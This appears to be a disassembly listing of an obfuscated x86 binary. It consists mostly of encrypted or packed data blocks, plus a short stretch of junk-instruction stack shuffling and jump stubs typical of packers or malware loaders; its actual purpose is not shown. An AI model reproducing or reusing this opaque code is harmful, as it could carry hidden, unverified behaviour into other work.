dd 68ECFAC9h, 0CE7AF5CCh, 39F234Ah, 827F80CEh, 0E432CE52h
dd 346h, 0B502C100h, 0BF0DB131h, 0C513AF33h, 0C917B739h
dd 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch
dd 0F240DA5Fh
db 63h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
push 5139h
mov [esp], ebp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push 7E600A9h
mov ebp, [esp]
add esp, 4
push 13AAh
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], ebp
sub dword ptr [esp], 4B350561h
pop dword ptr [edx+8]
add dword ptr [edx+8], 4B350561h
push dword ptr [esp]
pop edx
add esp, 4
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_560FFB
; ---------------------------------------------------------------------------
dw 0D682h
dd 1DB8DEEAh, 307E60Ch, 0FCE0FFC5h, 26470AA6h, 785AE78Bh
dd 66795493h, 0CB3773C7h, 0C2576B60h, 0C06E0678h, 0EE2D57FFh
dd 36677497h, 0E3787575h, 983CE6F8h, 480FB99Ah, 664B7149h
dd 0DB26D377h, 8D310C70h, 0E60DB48Dh, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 8B50601Ch, 0E0083185h, 8B615A07h, 158D89F1h, 6A07E018h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8BACC357h, 4985C7F3h, 0A407E020h, 6A00005Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 2965C350h, 9A8C4255h, 0F0FD98Bh, 8Ch, 0C585C700h
dd 7E022h, 0FF000000h, 0E012ADB5h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 9886124Dh
dd 89DED395h, 0E03245B5h, 9195FF07h, 3107E020h, 0E017D985h
dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 998E261Ch, 5C92AA93h
dd 0F2B8E199h, 0E64707EDh, 0C109A45Eh, 4444285Bh, 9235220h
dd 0B9E9C6h, 0C2BC0000h, 9CD74B9Fh, 0C8C3CA45h, 0ABDAB6E1h
dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h
dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h
dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h
dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 0E900005Eh, 159Ch, 0E610B468h
dd 7239E907h, 0B268FFFAh, 0E907E611h, 0FFFA722Fh, 0E612A768h
dd 7225E907h, 0EB68FFFAh, 0E907E613h, 0FFFA721Bh, 0E6147F68h
dd 7211E907h, 0F68FFFAh, 0E907E615h, 0FFFA7207h, 0E615AC68h
dd 71FDE907h, 8968FFFAh, 0E907E616h, 0FFFA71F3h, 0E6171F68h
dd 71E9E907h, 0CA68FFFAh, 0E907E618h, 0FFFA71DFh, 0E619AF68h
dd 71D5E907h, 0EC68FFFAh, 0E907E61Ah, 0FFFA71CBh, 0E61C3968h
dd 71C1E907h, 0B868FFFAh, 0E907E61Dh, 0FFFA71B7h, 0E61EC668h
dd 71ADE907h, 0CA68FFFAh, 0E907E620h, 0FFFA71A3h, 0E621B268h
dd 7199E907h, 856DFFFAh, 0F8DFB1CBh, 6F542640h, 0E2CB9DB7h
dd 5C3E102Ah, 8A3388A2h, 0DFF9B395h, 556F290Dh, 0CEE8A083h
dd 425C16FCh, 5D547762h, 1921D492h, 452B0DA7h, 0A288868Bh
dd 7EA2CEE8h, 7787AAC1h, 12E5AA7h, 4B62A9AEh, 0F221DA9Bh
dd 59853C91h, 678A0C8Dh, 21DA4D4Ah, 64DDE134h, 5B6167C9h
dd 53D4CE2Fh, 3548h, 4FD19200h, 1BFFD9F0h, 0B5BA745Ah
dd 170E13BEh, 638FB211h, 9D2E5AA0h, 0AFFE454Ah, 8E21DA9Fh
dd 4C7AD02Dh, 6753D4EBh, 119h, 64B74874h, 1C5B7BB1h, 452BF416h
dd 0F723868Bh, 182EE700h, 0C47E6453h, 171DC8BFh, 40283B1Dh
dd 541C6EADh, 0F4C1F013h, 6ABD29B9h, 0AC0F14BFh, 2B31E9D2h
dd 7D384B31h, 36C1CBF3h, 0C5041BC6h, 0BA160FA2h, 0E146729h
dd 9B845EC1h, 0E1E7DEE3h, 2D4701E7h, 0BA19C512h, 0CA846A29h
dd 3EF8DEB0h, 18FCD639h, 0B3B87057h, 0B70B11BCh, 90B3CA69h
dd 2E59F232h, 83F59ACh, 2DC203DCh, 7557783Dh, 14BFB6BBh
dd 0BDC27C62h, 0A46CC0C6h, 0F8B9DC1Bh, 7E21DAA0h, 0A081302Bh
dd 0AAFD21DAh, 4C9022A6h, 9E49F37Eh, 0B4EB6487h, 0F14B2677h
dd 151560Eh, 0BE7E094Ch, 0AB56018Dh, 0B2D8BA94h, 0B7CF228Fh
dd 5E095C29h, 0CE866D47h, 552F66C8h, 0BBB2B771h, 1FD9BBB5h
dd 11856846h, 6A9881E6h, 12C6h, 233DF7DFh, 98B26A51h, 0F29E1C6h
dd 829C543Dh, 0FA14CEB0h, 25073CA5h, 9B7F516Bh, 12F5C7E1h
dd 886E405Ah, 0E9D4B4CEh, 0D490EBC6h, 87219321h, 758F492Bh
dd 0E903BDA3h, 0F04FD1EFh, 0A03CB6D9h, 0A8822E5Ah, 0E8070DC5h
dd 1C3F7E95h, 21DA9F95h, 3B888EE1h, 0DA9FB9F4h, 0CE238421h
dd 0D4EB3270h, 0F05D53h, 2BA70000h, 88868B45h, 46FEE5A6h
dd 0F6BBDE41h, 8029BAA0h, 0E7D0822Dh, 88332A2Fh, 61462083h
dd 7760A3A9h, 0F429BAA5h, 0FE3D540Eh, 0BA9CD6DBh, 474DA029h
dd 4C6FAEE5h, 29BA9D65h, 230CBE11h, 856B656Bh, 2429E1C4h
dd 916B822Dh, 9EEBF1ABh, 465DDA46h, 0D9CFA71Ah, 0C1C722DCh
dd 0CE833F62h, 0AAFD2E59h, 9D7F5990h, 8789DDE3h, 0F06E91A8h
dd 26267784h, 304A1EFAh, 0B4BABED7h, 512B4295h, 0C99BB56Fh
dd 139EC1E7h, 6B29B89Bh, 0BC946D18h, 0D9E610B8h, 11C8C2F0h
dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah
dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h, 0B2CC866Ch
dd 0EDC4E7D2h, 8921D48Fh, 492B7D17h, 0BA9E788Fh, 0C698FA00h
dd 0D00F26E0h, 0BAA104ADh, 21277A29h, 905C88BFh, 0AB0FBEC8h
dd 0A3C18E92h, 2F23E8FBh, 452B0729h, 1235748Bh, 29BAA09Fh
dd 317E84D7h, 79934D33h, 0CA846842h, 2DE5CAC4h, 8A442A28h
dd 602A2670h, 1D5C73B0h, 0FAD9C0F1h, 0AACD5FCEh, 29BA8F07h
dd 6B711C6Fh, 5A933E28h, 755EB82Eh, 16C1B8BDh, 0B4325E61h
dd 0BD5760Fh, 0FBA65E41h, 23FCB2F5h, 0DB45D650h, 7022455Ch
dd 0C63DF057h, 0CC0B6E73h, 305808A9h, 151B6E32h, 0C9E05FC1h
dd 0CF952FA6h, 492D8736h, 0A1CDE48Fh, 85411819h, 99F8FE42h
dd 90B3D9BFh, 3950EB21h, 455F0A5Dh, 0FAD38D73h, 0D6786938h
dd 0D3326049h, 0D2000010h, 441630EAh, 0B98BA55Dh, 30021CD4h
dd 0A3758F47h, 98ED07C1h, 5E18FA2Fh, 0D48E7244h, 4D05E8BAh
dd 0C17B6133h, 0B9DCC7A7h, 21D48EF8h, 2B720C7Eh, 9A748B45h
dd 0A8F5FBB3h, 4C63C050h, 5A835529h, 124E32Eh, 21DA7BB0h
dd 0AEC873C6h, 8AA19E82h, 7A690767h, 0CFF23126h, 29BA96E2h
dd 2443499Ch, 976F4265h, 492C29BAh, 0BE958C91h, 5138676Bh
dd 87B31476h, 1D90D7DCh, 2029B9B6h, 0DE0C62BFh, 1E543401h
dd 9EA45E44h, 501Ah, 80FB2700h, 0FA13AE8Ch, 79F08286h
dd 839600EAh, 4FD15B7Dh, 1FB6D9F0h, 972E5AEFh, 989D573Dh
dd 5DFF6A1h, 35506A22h, 21DA527Ah, 6B853F25h, 0E7FEB699h
dd 532C85A8h, 0FF5221DAh, 0A49ACF9h, 0DA52CAE7h, 735AB421h
dd 0E00A10BBh, 0FF6h, 0F04FD176h, 0AF80B6D9h, 0A3F62E5Ch
dd 12CCB28Ch, 864026F8h, 41E72981h, 0A79EA35Dh, 69EA45A3h
dd 8F3AADD9h, 2BC9E78h, 715406FDh, 3154B3B9h, 2675C7BAh
dd 9AC6DD30h, 0D60E54Eh, 0FEE2949Bh, 5DF3E44h, 794B651Fh
dd 71D4D993h, 0F4FAB297h, 9CB370A0h, 5A2CF979h, 532C7F2Eh
dd 0EDEF2617h, 8F95C3ACh, 1600000Fh, 885A742Eh, 0FDCFE9A1h
dd 74466018h, 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h
dd 91492CFEh, 5BFA577h, 0FD200BEBh, 21D48DB4h, 0C6BE58CAh
dd 494E08ECh, 0A4094C52h, 9D29BAA0h, 719DB473h, 0C9718649h
dd 0F6BBDE34h, 8029BA63h, 1D7C822Dh, 5C6ED9FAh, 0F70E612Eh
dd 0EE11371Dh, 21D470C3h, 0C1E20FBBh, 8745001Ch, 451731DCh
dd 0FDB59E5Fh, 0C7EA01F8h, 21D3F5EAh, 91964194h, 4158D739h
dd 73D8601Eh, 0AA83D626h, 0E6154174h, 0FBF6240Dh, 0AA00000Eh
dd 1CEE08C2h, 91637D35h, 8DAF4ACh, 7B4D671Fh, 70C5DF99h
dd 36F0D247h, 0AC664A1Ch, 25DDC092h, 9953390Bh, 91B49F7Fh
dd 21D48D20h, 2B4AE456h, 88868B45h, 4FDC8FA2h, 5018C5EAh
dd 8A1DF44Ch, 0B15C60F9h, 0A90637ACh, 34F71753h, 9544054h
dd 0D18A0000h, 0B6D9F04Fh, 2E5CAC0Ah, 4C263D90h, 5B92AC66h
dd 0DCE29A81h, 60E9FCE2h, 0F1D04A00h, 0BC0308B3h, 21D478F1h
dd 4C63C050h, 745B5529h, 0B790E326h, 0E614C087h, 6B0D3B24h
dd 3A00000Eh, 0AC7E9852h, 21F30DC5h, 986A843Ch, 0BDDF7AFh
dd 556F29h, 0C68062D7h, 3CF6DAACh, 0B56D5022h, 29E3C99Bh
dd 21442F0Fh, 21D48B90h, 2BDA74E6h, 88868B45h, 6EE3E8A2h
dd 5C8AE03Dh, 9C5434E6h, 0B8A28E70h, 1FD185CEh, 82797E36h
dd 8C4F87Ch, 2B050000h, 688A9048h, 0BAA0CBE2h, 86AA7629h
dd 263DE8A2h, 6A2B0DE7h, 0D0C7CC86h, 0A4DC1F25h, 0B22E5CAEh
dd 8B6E485Fh, 0D1D7CED3h, 0F8B29872h, 6C260CDEh, 22010F67h
dd 7596E80Bh, 4DA02674h, 14DF5A74h, 0D402EBE6h, 0DCEh
dd 1B35EFD7h, 90AA6249h, 721D9BEh, 7A944C35h, 0F20CC6A8h
dd 1DFF349Dh, 93774963h, 0AEDBFD9h, 80663852h, 0E1CCACC6h
dd 0D48BF3BEh, 7F198B21h, 77639AC6h, 0DE90F98Dh, 0B9B7F6BBh
dd 822D8029h, 0E29C827Ch, 3FF9DFDDh, 0A05A3C3Ah, 1BB9D9Bh
dd 0B20FD0FCh, 512B466Fh, 3BB0B66Eh, 70552FE6h, 6A2406B8h
dd 0F205E64h, 96705434h, 6CF0F6B0h, 806h, 0E94FD1B6h, 8CA34E06h
dd 5CAF0C69h, 176A2Eh, 93139EC1h, 82B21D4h, 21D492A9h
dd 58AB82D5h, 3319F352h, 0A78D5F79h, 4685E8EDh, 0D4928E23h
dd 8F95E821h, 0D493614Ch, 0F330E021h, 631B02DCh, 261675Eh
dd 74759FDFh, 967F5926h, 76624F72h, 0C91C29B4h, 0CF876C1Eh
dd 0AECDD3CAh, 0DE6E825Bh, 1A03E614h, 0CF1ECh
dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h, 0E9A38557h
dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh
dd 8B169BBEh, 0EE6021D4h, 8B452B54h, 0E8A28886h, 0E03D6EE3h
dd 34E65C8Ah, 7587754h, 0E2C10000h, 29BAA0D0h, 0EDA58C66h
dd 0AE8D93E7h, 0AF1E7497h, 0C5182E5Ch, 34EED4AEh, 3C62481Ah
dd 0D4929819h, 0E08BDE21h, 520AEFC9h, 350564Dh, 0AFC665ABh
dd 749FEE8Ch, 7EEC826h, 7E2A494Fh, 7EDB2CE1h, 0E5BE698Bh
dd 0E614FBD7h, 5B598770h, 4A00000Ch, 0BC8EA862h, 31031DD5h
dd 0A87A944Ch, 1BED07BFh, 10657F39h, 0D69072A7h, 4C06EABCh
dd 0C57D6032h, 39F3D9ABh, 31543F1Fh, 21D48980h, 2BEA84F6h
dd 48748B45h, 0CDAF80F3h, 13170E13h, 0F5FBD16Ch, 0AC4AAA8h
dd 6A220705h, 72856765h, 4105E93Bh, 1217C236h, 0E392EF1Ch
dd 0BA25F1C0h, 8F3A8D29h, 0DE014073h, 29BA25D3h, 582FE7D0h
dd 358AFF05h, 2943FDE3h, 772F18F2h, 6F757B72h, 54349133h
dd 18C5Ch, 0ECC6A600h, 4F494F07h, 0CC6A869h, 785E5C61h
dd 0A878A4BEh, 5B35748Bh, 0C4BBC078h, 0A7837BBEh, 42952E5Ah
dd 0AC6D512Bh, 5B610CC6h, 0EFD1AB0Eh, 0C1EC2F35h, 0DA21DA9Ah
dd 39373CF6h, 32959A52h, 0DA9AA20Fh, 0DF89DC21h, 2125DB2h
dd 0B0EE4CA1h, 0DB53D4E0h, 4Dh, 6ECC625h, 4A50474Ch, 22062AF6h
dd 83A6BD68h, 2E5AA06Fh, 0F31F3689h, 0C126BE18h, 0A15B3D7Bh
dd 0F4FAA59Ch, 0E54D60A7h, 8FF021D9h, 0EC578332h, 0E1159AA7h
dd 0F5FAB299h, 474D53FEh, 53D4781Bh, 0DE967F59h, 58DCE2D9h
dd 0DBh, 8B452BA2h, 67492386h, 0CBADA7ADh, 686D250Ah, 0D5AFC671h
dd 3A3136EEh, 3E9E734h, 7E14449h, 6D646923h, 181ED6BBh
dd 677E381Eh, 0D5ECA48Dh, 0BAA0FFB2h, 1E247729h, 8A26A1BCh
dd 0E3C929BAh, 3DE30F29h, 85A8E7FEh, 29BA762Ch, 9AF9FF52h
dd 57ED8577h, 91A8FB2Eh, 0C1F01352h, 0BD21D80Eh, 886A646Ah
dd 0FADDB7CEh, 0EFEB3D6h, 257821D8h, 4012747Ah, 0C3CBA45Eh
dd 60EDF145h, 0AB04977h, 0DF50000h, 80673953h, 0F7DCAEC8h
dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h
dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D488h, 0ECC6952Fh
dd 4F494F07h, 0C799B36Dh, 823C20E1h, 0C4DB867Dh, 539F3598h
dd 5608A89Fh, 51B3B971h, 0F9B8DB1Ah, 8529B9D0h, 2B0A2C32h
dd 88868B45h, 0CCCEE8A2h, 4F6h, 0F04FD162h, 5E16FFD9h
dd 0FD5C6259h, 5A9290DAh, 6E73C62Eh, 0DA6E8627h, 0F956B721h
dd 523A1E4Ah, 0F7AC9B54h, 5B525711h, 66A4AAB0h, 9153D44Eh
dd 207h, 0A0D2E2DBh, 296829BAh, 0BAA0AB06h, 4327D329h
dd 2B616BAAh, 0A1F5FBA6h, 86A9C07Fh, 2E5C0C12h, 0BFFE1568h
dd 0C6A2B893h, 0B2B86DE5h, 0FE18D2B8h, 878C462Ch, 2B42E12Fh
dd 73C97208h, 60398C26h, 0E6159EEEh, 0CBE816FFh, 0DA000009h
dd 4C1E38F2h, 0C193AD65h, 380A24DCh, 0AB7D974Fh, 0A0F50FC9h
dd 66200237h, 0DC967A4Ch, 550DF0C2h, 0C983693Bh, 0C1E4CFAFh
dd 21D487F0h, 0C67A1486h, 9D4F07ECh, 2FC02BAh, 5F5D621Ch
dd 52BABF79h, 7C62B409h, 9CCAA8C2h, 0B75434EAh, 16Bh, 8B452B01h
dd 0E8A28886h, 0C17EA2CEh, 4C3F6BAAh, 0C089FA63h, 3BC3060Ch
dd 3D2E5A77h, 0F9EE5EAh, 2E21DA6Bh, 0EC1A70CDh, 753D4D0h
dd 4Bh, 0F04FD151h, 0DDC09AD9h, 0E0D02025h, 9DC89EE0h
dd 478A903Bh, 2E59CCABh, 7E335695h, 0CB21D9CBh, 0BD8F4B9Fh
dd 0F84B2273h, 7B80D3F2h, 0D9F57934h, 843E2221h, 0E29A817Fh
dd 99F6ABDDh, 88E54656h, 0D441F432h, 0BA1F53h, 2B690000h
dd 23868B45h, 0A4A96349h, 0CBADA7ADh, 7DA90C11h, 9D59BE61h
dd 5E16FF33h, 0CDB3ADB3h, 2A100E13h, 7C3B5670h, 1F29BA48h
dd 39657F39h, 92D9FFD7h, 4F19CCF5h, 744E8DA4h, 6D44678Bh
dd 929BA3Fh, 0C2050BB6h, 2E57B63Ah, 0A7E6FD50h, 482AEBCDh
dd 0E3DDE38Eh, 8EA9EE01h, 0A1A81F83h, 0AB5601BBh, 23DDBF91h
dd 0F13BDE4Ah, 0DC0AF3EDh, 88Eh, 5B752F17h, 0D0EAA289h
dd 476119FEh, 0BAD48C75h, 324C06E8h, 5D3FF4DDh, 0D3B789A3h
dd 4A2DFF19h, 0C0A67892h, 210CEC06h, 0D486B3FEh, 0BF59CB21h
dd 758F492Bh, 16FCBDA3h, 0B560575Ch, 20DFC49Eh, 857C8139h
dd 7872D4DAh, 0FC1F452Bh, 29BAA0B5h, 0BEC36EC1h, 0B8F91C5Bh
dd 0BE29BAA0h, 856B656Bh, 0A0753C5Fh, 0AE0129BAh, 0B15C16FCh
dd 0EE786E9Ah, 0E2E6A084h, 0E6ECFFE9h, 2BC8284h, 0D1180000h
dd 0ADD9F04Fh, 0EA5A75E0h, 88E7ED7Dh, 5BBCCD65h, 0B099732Eh
dd 80D3F2F8h, 0A379347Bh, 63C421D3h, 1772B00Eh, 83C253D2h
dd 97902144h, 93E621D3h, 0D3981998h, 0EDA58A21h, 39BDC316h
dd 265h, 0C8876C46h, 2B2227DFh, 9B7D7B80h, 3AE5DCE1h, 87C61234h
dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 10166929h, 0BAA0E7CDh
dd 7BB86829h, 0AF094164h, 653F2E5Ch, 0A2C1C781h, 785E384Fh
dd 0DB937852h, 0CDE4DFD6h, 0A921D492h, 261E5256h, 7F750830h
dd 2E8BAD4h, 6E04348h, 40590C1Dh, 79556667h, 20D2C9CEh
dd 847B803Ah, 0DDE62A7Eh, 0D3FBF7BAh, 3E257F21h, 0DF8A8186h
dd 80FA1D34h, 0F6267408h, 5D64CAA3h, 947DE615h, 74166h
dd 0C27C6400h, 37EFD6A8h, 0AE664B1Dh, 21D9C294h, 99533507h
dd 8C812A7Fh, 4D6F0AAh, 7A4C6620h, 0F3C5DF97h, 5939530Dh
dd 85664B6Eh, 9E1021D4h, 32452B04h, 0C7ED0F53h, 869D485Ah
dd 0B10CAACh, 0C3C10E14h, 1D94B7DDh, 5929BA02h, 58565B06h
dd 0B8B6BB73h, 0E9151AD4h, 6C88CB28h, 967CCE23h, 0A30E3170h
dd 0DB29BA01h, 2248D88h, 0AE5A29BAh, 41F3DE39h, 802BD6DDh
dd 98032F66h, 2190B32Dh, 5D29BA2Eh, 2580060Ah, 933D7497h
dd 0E63929BAh, 0E8A0893Bh, 0E0E6ECE3h, 5434E4A2h, 138CDh
dd 0ECC61700h, 4F494F07h, 0CC6A869h, 0BAF95C61h, 0BAA11A97h
dd 0B116429h, 57712B11h, 2F46E52Bh, 5AA6F20Ch, 2C31842Eh
dd 0DA9AC8E5h, 0BF147521h, 0D4E02561h, 394E53h, 2F5B0000h
dd 0FD1D3A21h, 0F57725D4h, 876D0408h, 0D194B6BCh, 0B6D9F04Fh
dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 0C83C68B3h, 94667669h
dd 0E13EB3B9h, 0D4365F8Bh, 0A77853h, 2BC20000h, 0E79F8445h
dd 5739373Ch, 0F635989Dh, 0BAA0DED3h, 3F459829h, 0A0A55F45h
dd 0E802BCA2h, 3AF2D7B1h, 0FC3A3E35h, 0D2F34E45h, 0A9DE0E6h
dd 0A529BAB9h, 87FDACBFh, 38496F33h, 0B69C768Dh, 0FA00F7FCh
dd 0A3876198h, 2CFFE5E9h, 0E8C457A7h, 0A5828EE2h, 84916B8Eh
dd 94E72E57h, 7C1A37Dh, 7F391BEDh, 0F0E046A6h, 4C7A63EDh
dd 5C2h, 2741FBE3h, 9CB66E55h, 132DE5CAh, 86A05841h, 0FE18D2B4h
dd 290B00A9h, 9F83556Fh, 16F9CBE5h, 8C72445Eh, 0EDD8B8D2h
dd 0D483E7CAh, 831D8F21h, 758F492Bh, 0E903BDA3h, 1F452BEFh
dd 0BAA0B5FCh, 8267C129h, 23CEC5CAh, 36107378h, 9791974Fh
dd 0DBDDF7B1h, 16h, 8B452B71h, 0E8A28886h, 0E63B70E3h
dd 0DAF4AE94h, 2AD8h, 452B6E00h, 6F3F868Bh, 2E29BAA1h
dd 8C8A8F47h, 0B9EBF0AAh, 5B64AF04h, 5D4395EAh, 0CBB28CA3h
dd 0ADDA0F13h, 0E3C3E4D4h, 2B817BDDh, 2E868B45h, 52ADD9E2h
dd 0F872EC1Fh, 20179A95h, 0B35F29BAh, 0E150B0FEh, 0A24DF87Bh
dd 0CE688Bh, 55A82E5Ch, 6B7E643Eh, 32F8CCC6h, 90AA5516h
dd 191ED8BEh, 8C875FC1h
dd 6E280CF5h, 0BD6E7269h, 1E35E0F6h, 766EF0FBh, 270C6626h
dd 70D1E003h, 5AAD29BAh, 13ED04AFh, 8759732Dh, 8AE2E7A1h
dd 6F92A986h, 2E5A5403h, 7512A7Dh, 18EDEEC9h, 4B4012Fh
dd 9F10000h, 7C63354Fh, 0F3D8AAC4h, 664F213Bh, 0E0C294AEh
dd 0EB70C26h, 637D3719h, 0D9F3AD91h, 526C2407h, 0C6E09A80h
dd 0D9D8FBE6h, 0A521D482h, 452B9933h, 0B99F718Bh, 16FCFAFFh
dd 856B455Ch, 2227DFC4h, 7D7B802Bh, 3137E29Ah, 1D497CE4h
dd 284B9313h, 34A9AFA7h, 0EDA78DDFh, 0B1C9F5D3h, 2D075434h
dd 938A8F49h, 5A098Dh, 0D1530000h, 0FFD9F04Fh, 655C611Bh
dd 60D32E61h, 0FC022BFFh, 0A1845E9Dh, 9C5437E9h, 579AA097h
dd 2E5A487Eh, 4F8EA5F8h, 0D4DA9275h, 283FF7DAh, 0FFB1694Eh
dd 0FA5C621Ah, 0D9B7D0DFh, 2BE5CB21h, 789BDA11h, 21D9B839h
dd 0CBEEF245h, 3E6AE59Eh, 9A7D777Dh, 0EFAFDDE2h, 45000003h
dd 0E01F452Bh, 0BAA0F4BDh, 3C378A29h, 29BAA075h, 0BC5A701h
dd 0F4145C60h, 0D73AEC4Ah, 4329272Ch, 0DD436F89h, 0D81B475Eh
dd 386E0655h, 0AB5AADB1h, 7BAA6CD4h, 0ABD71675h, 0FD151F29h
dd 15585E57h, 2E5A8CE9h, 0B4171C6Fh, 855F5275h, 593C21DAh
dd 0CEA59CA1h, 7B32757Bh, 2021DA84h, 7E7C8139h, 0AEDADF97h
dd 3D4D90EDh, 793118F2h, 4BA1FE73h, 53D4FA1Fh, 4038h, 87C68200h
dd 0B10C8ADh, 0A0981914h, 8BDE29BAh, 58656E87h, 0FF05B782h
dd 0AFC665ABh, 5A19668Ch, 0EE11502Eh, 21DA1AC3h, 436268BBh
dd 9A4EBF0h, 3421DA1Bh, 0E2207ED3h, 0D53D46Ch, 0C6h, 84452B57h
dd 0ECE3E8A2h, 5C3E3C41h, 2CA5B69Bh, 0C70C567Dh, 3439E48Fh
dd 91965036h, 0D9F3AD93h, 0BA0E19BEh, 0F6B09629h, 6A240ADCh
dd 24030D65h, 9751330Dh, 36959B92h, 59EF1313h, 90E9152Eh
dd 5B489A55h, 7823DBC4h, 0E9005372h, 327D76BDh, 4790944Eh
dd 62C4CAD1h, 364DEA36h, 1C95B8F7h, 6221DA98h, 30C6090Fh
dd 46267814h, 2002DCF3h, 3B154C66h, 9B959B55h, 0E226FFB9h
dd 0F7E61168h, 2B0E00Eh, 0DF50000h, 80673953h, 0F7DCAEC8h
dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h
dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D480h, 492B952Fh
dd 643E758Fh, 0C9C0C57Dh, 29E3C9C3h, 4FD1150Fh, 3CB6D9F0h
dd 0C22E5AA0h, 0F619586Fh, 21DA9FBBh, 0CB8569C3h, 7224CFC6h
dd 80CDD38Bh, 0DA9F7439h, 0A47EC921h, 88FD03BBh, 0BCA27C2Bh
dd 6FD02h, 0D4EBCCFAh, 0A5E753h, 2B310000h, 88868B45h
dd 0A0E7ECA6h, 29BAA537h, 0FA14CEB4h, 83884228h, 2307E120h
dd 726D6469h, 29BA9D3Fh, 3FF9DD37h, 9298433Ah, 6A4ED23Eh
dd 0CBEE05B0h, 2E5A7E5Bh, 84B0CA1Dh, 65889F9Ch, 2677F0F2h
dd 71559C48h, 4D74CA8Bh, 0CFB18BA2h, 0C7722C0Eh, 143776ADh
dd 29B7D39Dh, 868086D9h, 5311EAA4h, 0ECE61181h, 1C8D503h
dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah
dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h, 0B2CC866Ch
dd 0EDC4E7D2h, 8921D47Fh, 492B7D17h, 0BDA3758Fh, 0C6EFE903h
dd 523A289Ah, 7A20066Eh, 1DE9ED1Dh, 0C27A5FECh, 171BC6BDh
dd 8189207Dh, 2FC02D8h, 0FA5D621Ch, 7E833B20h, 35EFD587h
dd 39333930h, 43829953h, 0BA519120h, 9C6CC029h, 76D373DAh
dd 0E4464C9Fh, 6D722C12h, 3C250B15h, 0DD887F84h, 0A01BA3C6h
dd 315D2E5Ah, 0A960E3EEh, 2091B40Bh, 5621DA38h, 33525803h
dd 9EFC9E0h, 4D534A4Fh, 80DD0A00h, 7C965036h, 4C63C050h
dd 934D330Dh, 4E91978Eh, 267A5318h, 0F8F6FB4Eh, 0E0535812h
dd 739F56ABh, 6F34ED0Ah, 0E0343AA2h, 0B9DCF330h, 2E5A00ADh
dd 0ECBED82Bh, 49474C06h, 0B3A9AE66h, 0F9DF2986h, 17F9253Fh
dd 0E0DE0118h, 16267A17h, 0EA9C563Ch, 4D444901h, 0D0D52847h
dd 6F542E6Dh, 0E7F5BCB7h, 2E8129B9h, 8E482E28h, 9C153877h
dd 0E229B9E7h, 463C898Fh, 4559032Fh, 0FD6B8385h, 61585D17h
dd 0E63BB0B6h, 4259D63Ah, 59F59F1Fh, 0ACC6192Eh, 7C939080h
dd 0FF05BDA2h, 0D56A7DA0h, 8660267Bh, 0C2E1E79Fh, 5583C916h
dd 5DB4B870h, 9CA14C1Ah, 0E4FEB89Eh, 6D722C12h, 0BD3B7426h
dd 0E8457A65h, 0E7FEB89Eh, 0B42C85A8h, 0FF52DD3Ah, 0DFC597F9h
dd 39222025h, 957E7C81h, 8B36F0D6h, 0EDA58886h, 4A04EAE8h
dd 9D54A96Ah, 3AB4377Ah, 41EC3FDDh, 5E156A97h, 0B3B5FC1Fh
dd 6EC1DD3Ah, 0B37D3457h, 0A6F9DD3Ah, 6C0A6A0h, 7A341AECh
dd 0FD753763h, 4B4648D1h, 3CAF845h, 60000000h, 432B6624h
dd 0A0868489h, 0E3E1E6h, 61454348h, 0C2A4A2A7h, 23050308h
dd 7D666469h, 0DDC2C0C5h, 3B222025h, 536D7E83h, 0C381E389h
dd 4, 5304EB83h, 42474FFh, 24048F5Bh, 14DB685Ch, 14890000h
dd 2C346824h, 4890000h, 68505724h, 21245A38h, 8D2558h
dd 0BD0513D6h, 0D11DD6Ch, 699210CBh, 0F2927305h, 58C7898Bh
dd 815FFA89h, 4ECh, 24248900h, 4240483h, 0B8505258h, 6737270Bh
dd 4244429h, 8408F58h, 0B084081h, 8B673727h, 89502404h
dd 405E0h, 4050000h, 87000000h, 0FF5C2404h, 815A2434h
dd 4C4h, 5CADE900h, 8B15FFFAh, 31210DA2h, 0E6239FB8h, 0FFC50307h
dd 6AA56EE0h, 0B9AD6E55h, 0B9C50667h, 8335BE40h, 11DC6F0Ah
dd 0EC41675Ah, 0F4DDD372h, 7A429029h, 0EFCD2479h, 157D5845h
